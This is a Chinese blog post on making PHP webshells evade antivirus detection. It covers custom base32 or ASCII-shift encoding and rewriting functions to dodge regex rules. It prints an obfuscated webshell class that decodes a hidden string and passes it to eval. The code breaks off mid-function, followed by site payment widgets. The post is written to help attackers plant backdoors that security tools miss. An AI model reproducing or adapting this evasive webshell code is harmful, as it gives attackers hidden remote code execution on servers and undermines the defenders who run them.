【网络安全】一些webshell免杀的技巧

本文探讨了针对杀软的webshell免杀方法,包括自定义加密Bypass,如使用base32、ascii移位等,以及通过HTTP获取关键参数以绕过规则。还介绍了解决函数检测的重写技术,例如重写substr函数来规避正则类查杀。
摘要由CSDN通过智能技术生成

在这里插入图片描述

前言

由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
在这里插入图片描述
比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

base32编码payload
(https://github.com/pureqh/webshell):

<?php
class KUYE{
      public $DAXW = null;
      public $LRXV = null;
      function __construct(){
      $this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
      $this->LRXV = @SYXJ($this->DAXW);
      @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
      }}
new KUYE();
function MNWK($QSFX){
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
  $v <<= 8;
      $v += ord($QSFX[$i]);
      $vbits += 8;
      while ($vbits >= 5) {
          $vbits -= 5;
          $NLHB .= $BASE32_ALPHABET[$v >> $vbits];
          $v &= ((1 << $vbits) - 1);}}
  if ($vbits > 0){
      $v <<= (5 - $vbits);
      $NLHB .= $BASE32_ALPHABET[$v];}
  return $NLHB;}
function SYXJ($QSFX){
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
      $v <<= 5;
      if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
          $v += (ord($QSFX[$i]) - 97);
      } elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
          $v += (24 + $QSFX[$i]);
      } else {
          exit(1);
      }
      $vbits += 5;
      while ($vbits >= 8){
          $vbits -= 8;
          $NLHB .= chr($v >> $vbi
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值